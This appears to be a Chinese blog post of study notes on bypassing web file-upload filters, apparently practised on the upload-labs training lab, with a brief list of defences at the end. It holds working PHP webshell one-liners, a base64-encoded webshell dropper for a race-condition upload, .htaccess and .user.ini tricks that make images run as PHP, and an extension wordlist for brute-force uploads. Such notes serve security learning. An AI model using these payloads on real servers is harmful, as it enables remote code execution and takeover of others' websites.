• 文件上传笔记


    一、上传的简单绕过:

    1、若是上传的文件只在前端的代码中进行了过滤

    (1)可以直接在开发者工具中删除相关代码:

    (2)也可以通过 burpsuite 绕过:

    上传时,先提前修改 php 文件的后缀名为 jpg

    把文件后缀名改回 php

    发送到 repeater 模块(也可以不发送,不发送的话直接 forward),然后可以看到上传的路径:

    2、绕过 content-type 检测上传

    有时候代码会对 http 类型头进行检测,

    $_FILE['file']['type']  // 获取 content-type 的值

    如果是图片类型,就允许上传,否则会上传失败,但是这个字段是可以被修改的。

    直接上传 php 文件,此时的 content-type 字段的参数为 application/octet-stream,改为图片格式的 image/jpeg

     上传成功。

    3、黑名单上传绕过

    有时候代码会对特定的一些后缀名进行检测拦截

    $_FILE['file']['name'] // 通过文件名获取文件后缀名

    (1)这时候可以上传一些黑名单外的后缀名,若黑名单中的后缀名是 php、asp、aspx、jsp ,那这个时候我们可以上传 asa、cer、cdx

    (2)若网站里允许 .net 执行,可以上传 ashx 代替 aspx

    (3)不同的中间件的处理不同,如果在 apache 中开启了 application/x-httpd-php ,然后添加指令:

    AddType application/x-httpd-php .php .phtml .php3

    这时候后缀名为 phtml、php3 的文件均会被解析为 php,这时候直接上传 phtml 和 php3 即可

    4、.htaccess 重写解析绕过上传

            注意:.htaccess 和 httpd.conf 都是 apache 的配置文件,但是不同的是 .htaccess 作用域小,只作用于特定的网站,存在于网站目录内,修改后立即生效。而 httpd.conf 则是存在于 apache 配置目录中,作用于全局,修改后需要重启服务器。

    (1)apache 会自动扫描目录并识别 .htaccess 文件,若存在会自动读取其中的配置指令,并根据这些指令来处理请求。

    (2)查看在 apache 的配置文件 httpd.conf 中查看是否开启了 rewrite 模块:

    (3)查看 httpd.conf 的 allowoverride 的值

    若为 none 代表不允许 .htaccess 文件覆盖任何配置选项。

    (3)编写 .htaccess 文件:

    1. <FilesMatch "jpg">
    2. SetHandler application/x-httpd-php
    3. </FilesMatch>
    1. 指令: 是一个用于匹配文件的 Apache 配置指令。它允许你指定一些规则来匹配文件名,并在匹配成功时应用指定的配置。

    2. "jpg":这是一个正则表达式模式,它指定了要匹配的文件名模式。在这里,它匹配以 ".jpg" 结尾的文件名。

    3. SetHandler application/x-httpd-php:这是配置的一部分,它告诉 Apache 在匹配的文件上设置处理程序为 application/x-httpd-php。这意味着当访问以 ".jpg" 结尾的文件时,Apache 将把它们视为 PHP 脚本,并将它们交给 PHP 解释器进行处理。

    (4)上传 .htaccess 文件

    (5)上传编写 php 脚本后改后缀名为 jpg 的文件,此时 jpg 文件就会被当作 php 文件读取

    5、.user.ini 文件绕过上传过滤

    注意:

    • .user.ini:主要用于自定义用户的 PHP 运行环境,例如修改内存限制、执行时间限制、错误报告级别等。
    • .htaccess:主要用于配置 Apache Web 服务器的行为,包括 URL 重写、访问控制、错误页面、缓存控制等。

    (1)php 会自动识别并扫描.user.ini ,文件中的设置会覆盖全局 php.ini 中的设置,但不能覆盖在服务器配置中明确禁用的设置,修改后也是立即生效(php.ini 修改后需要重启服务才能生效)

    (2)想触发 .user.ini 需要满足三个条件:

    1. a、服务器脚本语言为PHP
    2. b、服务器使用CGI/FastCGI模式(可以通过 http 请求头查看,也可以通过 phpinfo 查看)
    3. c、上传目录下要有可执行的php文件
    4. d、php.ini 中的 user_ini.filename = ".user.ini" 字段没有被注释
    5. 6、php.ini 中的 user_ini.cache_ttl = 10 字段可以设置的小一些,默认是为 300

    (3)上传 .user.ini 文件:包含 555.jpg 文件

    auto_prepend_file=555.jpg

    (4)上传 555.jpg 文件:

    (5)访问目录中的可被解析的 php 文件:

    此时 555.jpg 的 php 代码会在 php 文件执行前被执行(注意:作文件包含时,包含的文件中的内容会被作为 php 代码执行)

    6、点空格点绕过

    (1)若文件后缀验证的代码在上传时,是对文件名进行拼接,就可以用点空格点进行绕过

    (2)若文件后缀验证的代码在上传时,是对文件后缀进行拼接,就无法用点空格点进行绕过

    7、 大小写绕过

    (1)上传 .php 文件

    (2)burpsuite 抓包修改后缀为 .PhP ,此时实现绕过

    8、空格绕过

    (1)若文件上传的过滤机制中没有对空格符进行删除,可以进行添加空格绕过:

    (2)此时被解析的后缀名是 .php    ,不在黑名单中

    9、用 ::$DATA 绕过

    1. ::$DATA 额外数据流
    2. 比如有文件 1.txt ,内容是 chun ,然后我使用指令 echo "chunchun" >> 1.txt,
    3. 那么 1.txt 的内容就会变成 chunchunchun ,若是我使用指令 echo "chunchun" >> 1.txt:chunchun,
    4. 那么 1.txt 的内容将不会发生改变,此时 1.txt:chunchun 的内容变为 chunchun(1.txt:chunchun 这个文件的内容使用 notepad 1.txt:chunchun 来进行查看)
    5. 而 php 不会验证额外数据流
    6. 自定义额外数据流时是一个:自定义名
    7. 若是 ::$DATA 表示的是文件本身,但是可以绕过php验证,让它认为这是一个额外数据流

     (1)Burpsuite抓包添加后缀名末尾添加 ::$DATA 实现绕过

    10、双写绕过:

    (1)若代码中有吧关键字替换为空的情况,直接双写绕过

    (2).phtmlhp 或 .pphphp 进行绕过

    11、空字符绕过

    在 url 中,若是有 %00,会被当作空字符,然后起截断的作用,其实就是注释的作用

    现有 php 代码:

    1. $id = $_GET['id'];
    2. if(isset($_GET['id'])){
    3. echo $id.PHP_EOL;
    4. if($id==1){
    5. echo "%00起作用了!";
    6. }else{
    7. echo "%00没有起作用!";
    8. }
    9. }else{
    10. echo '没有设置 id 参数!';
    11. }
    12. ?>

    输入 payload: ?id=1%0023

    (1)绕过白名单:

    (2) 上传路径可控把 save_path 参数改为 ../upload/chunchun.php%00

    (3)访问路径中删除关于 jpg 文件的多余字符

    即可直接访问

    (3)若可控的路径参数是通过 post 方法获取的,那么 post 参数后添加空格,空格的 ascii 码是 20,把它变成 00 ,然后转成16进制数,或者把 %00 进行 url 解码,两种构造方式都可以进行绕过。(注:%00 在 Post 参数中不起作用,因为 post 直接通过 http 头进行提交,不经过 url 解码,网站不知道它的意思,而 get 参数中的 url 编码在上传后会进行解码,解码为空白符后起作用)

    特别注意:php 版本小于 5.3.4 才可实现

    12、上传图片马

    常见图片格式:

    1. jpeg/jfif(常见图片格式) 前两个字节为 0XFF 0XD8
    2. png(无损压缩格式) 头两个字节为 0X89 0X50
    3. gif(动画图像格式) 头两个字节为 0X47 0X49
    4. bmp(Windows位图格式) 头两个字节为 0X42 0X4D
    5. tiff(标签图像文件格式) 头两个字节不一定

    通过此方法检验图片上传格式的 php 代码:

    1. function getReailFileType($filename){
    2. $file = fopen($filename, "rb"); //以二进制方式打开
    3. $bin = fread($file, 2); //只读2字节
    4. fclose($file);
    5. $strInfo = @unpack("C2chars", $bin); //对二进制数据进行解包,只解析两个字节每个字节都解析为//一个无符号字符(C表示无符号字符)。解包后的结果将存储在关联数组中,数组的键是 "chars"
    6. $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //前两个字节取整数,然后连接起来
    7. $fileType = '';
    8. switch($typeCode){ // 此时判断的值为10进制
    9. case 255216:
    10. $fileType = 'jpg';
    11. break;
    12. case 13780:
    13. $fileType = 'png';
    14. break;
    15. case 7173:
    16. $fileType = 'gif';
    17. break;
    18. default:
    19. $fileType = 'unknown';
    20. }
    21. return $fileType;
    22. }

    文件包含:

    1. include(与 require 的区别,include 文件不存在会发出警告,但是脚本会继续执行
    2. require 文件不存在就报错,然后脚本也停止运行) 作文件包含时,任何包含的文件都会当作 php 代码执行

    eg:

    实际操作:

    绕过(1)编辑 .php 文件,然后打开 010editor 进行前两个字节的替换

    绕过(2)使用 copy 来制作图片马

    绕过(3)二次渲染绕过(多数情况使用 gif 绕过)

    方法一、比较渲染前后的图片,在没有变化的数据区插入一句话木马

    方法二、同一张图片只会被渲染一次,可以在渲染第二次后的图片中插入一句话木马

    13、竞争绕过:

    前提,文件短暂的在后端服务器上存在过。

    使用 burpsuite 反复上传 test.php 文件:

    1. fputs(fopen('cc.php','w'),'')
    2. ?>
    3. $a = "PD9waHAgQGV2YWwoJF9QT1NUWydjYyddKTs/Pg==";
    4. $myfile = fopen('cc.php', 'w');
    5. fwrite($myfile,base64_decode($a));
    6. fclose($myfile);
    7. ?>

    因为文件一生成就会被删除,所以我们也需要一直进行访问,访问到之后就会执行里面的 php 代码

    (1)使用 burpsuite 来一直访问

    抓一个访问上传的 test.php 文件的包,然后一直发送请求

    (2)使用 Python 脚本来一直访问

    1. import requests
    2. url = "http://localhost:820/upload/cc.php"
    3. while True:
    4. html = requests.get(url)
    5. if html.status_code == 200:
    6. print("访问成功")
    7. break
    8. else:
    9. print("访问失败")

    14、反斜杆点绕过

    payloads:

    1.php\.

    15、代码审计,从逻辑层面绕过

    eg:upload-labs Less-21

    (1)第一处过滤:抓包修改 Content-Type 绕过

    (2) 第二处过滤,上传数组绕过

    (3) 实际操作:

    (4)原理说明:

    假设有如下代码:

    1. $a[0] = 1;
    2. $a[8] = 11;
    3. echo count($a);
    4. echo $a[1];
    5. ?>

    输出为:2 和 空,在上述代码中 count($file) 这时候获取到的是 1 ,而这时候的 $file[1] 为空,再加上检测的是最后一位 $file[8] 是 jpg,所以文件的后缀名最后为 1.php. 而系统会自动删除末尾的.,从而导致 1.php 上传成功

    补充:

    1、图片马的制作方法:

    (1)在一句话木马的代码中加入:GIF89a 然后改后缀名为jpg 或 png 等

    1. GIF89a
    2. @eval($_POST['chunchun']);?>

    (2)使用 cmd 的 copy 指令进行制作

    copy 111.jpg/b + 222.php 333.jpg

    (3)直接文本编辑器打开图片进行添加一句话木马

    (4)使用 16 进制编辑器 010hex 打开图片,然后添加木马,或是在 php 脚本的前两个字节直接添加图片格式的16进制字符:

    2、函数

    (1)strrchr(str1,str2) 函数:

    str1 是原字符串,str2 是要搜索的字符串,返回 str2 本身加上其之后的字符串

    (2)strrpos(str1,str2) 函数:

    str1 是原字符串,str2 是要搜索的字符串,返回 str2 在 str1 中的位置

    1. $str1 = "ichun";
    2. $str2 = "h";
    3. echo strrpos($str1,$str2);
    4. ?>
    5. // 输出为2

    3、后缀绕过总结:

    (1)加点

    (2)加空格

    (3)加反斜杠

    (4)加空白符

    (5)加 ::DATA

    4、特殊机制绕过:

    (1)apache 有时识别不了后缀名的话会向前识别,比如 1.php.7z ,他识别不了 .7z 的后缀,所以会向前识别 .php ,也就是把 1.php.7z 当作 1.php 来识别并解析;

    (2)window 解析绕过:

    2.1 上传 3.jpg ,抓包后改为 3.php:.jpg,发送后 upload 目录多出一个 3.php 的空文件

    此时再在 3. 后面加上 < 或 > 来进行文件的写入,然后就可以访问了

    2.2 在使用 ::DATA 进行绕过时, 若是使用 :$DATA 时,也只会上传一个空文件,此时也可以先上传空文件:

    然后进行文件写入:

    注意:这个原理有点类似正则表达式匹配,

    1. " 等于 .
    2. > 等于 ?
    3. < 等于 *

    面对黑名单过滤才有用(因为上传的 3.<<< 基本不会被拦截,但是如果是白名单过滤,3.<<< 就上传不成功了)然后文件不能被重命名(上传后进行过重命名的文件,在第二次进行写入上传时,文件又会被重命名,因此无法匹配到原先上传的文件导致无法上传成功)

    5、中间件解析漏洞:

    (1)iis 6.0 上传 1.php;jpg 会解析为 1.php

    (2)apache 上传 1.php.xxx ,apache 解析不了 xxx 的话,也会解析为 1.php

    (3)nginx 0.83 /1.jpg%00php apahce 1x 或者 2x 当 apache 遇见不认识的后缀名,会从后向前解析例如 1.php.rar 不认识 rar 就向 前解析,直到知道它认识的后缀名。

    (4)phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成 php。 (5)Apache HTTPD 换行解析漏洞(CVE-2017-15715) apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞, 在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的 安全策略。

    6、总结:

    (1)判断是否为黑白名单,如果是白名单 寻找可控参数。如果是黑名单禁止上传, 可以用有危害的后缀名批量提交测试,寻找遗留的执行脚本。

    1. 使用 burpsuite 抓包上传将后缀名设置成变量,把这些文件设置成一个字典批量提交
    2. .php
    3. .php5
    4. .php4
    5. .php3
    6. .php2
    7. .html
    8. .htm
    9. .phtml
    10. .pht
    11. .pHp
    12. .phP
    13. .pHp5
    14. .pHp4
    15. .pHp3
    16. .pHp2
    17. .Html
    18. .Htm
    19. .pHtml
    20. .jsp
    21. .jspa
    22. .jspx
    23. .jsw
    24. .jsv
    25. .jspf
    26. .jtml
    27. .jSp
    28. .jSpx
    29. .jSpa
    30. .jSw
    31. .jSv
    32. .jSpf
    33. .jHtml
    34. .asp
    35. .aspx
    36. .asa
    37. .asax
    38. .ascx
    39. .ashx
    40. .asmx
    41. .cer
    42. .aSp
    43. .aSpx
    44. .aSa
    45. .aSax
    46. .aScx
    47. .aShx
    48. .aSmx
    49. .cEr
    50. .sWf
    51. .swf
    52. .htaccess

    (2)防御方法:

    2.1 服务器端使用白名单防御,限制后缀名一定要设置图片格式 jpg、gif 、png

    2.2 修复 web 中间件的漏洞

    2.3 禁止客户端存在可控参数

    2.4 存放文件目录禁止脚本执行

    2.5 文件名设置随机

  • 相关阅读:
    Go-Excelize API源码阅读(三十四)——RemoveRow
    备战秋招--springboot篇
    Flask框架:运用Ajax轮询动态绘图
    VMware vSphere ESXI 6.7 U3封装RTL8125B网卡驱动
    ISCSLP 2022 | AccentSpeech—从众包数据中学习口音来构建目标说话人的口音语音合成系统
    解决Typora闪退、文件打不开等问题——Typora免费使用教程(也有免费版的)
    Python元类(metaclass)
    UnrealEngine KeyWords,修饰变量函数
    移动端异构运算技术 - GPU OpenCL 编程(基础篇)
    一款跳转警告HTML单页模板源码
  • 原文地址:https://blog.csdn.net/qq_63527808/article/details/133631391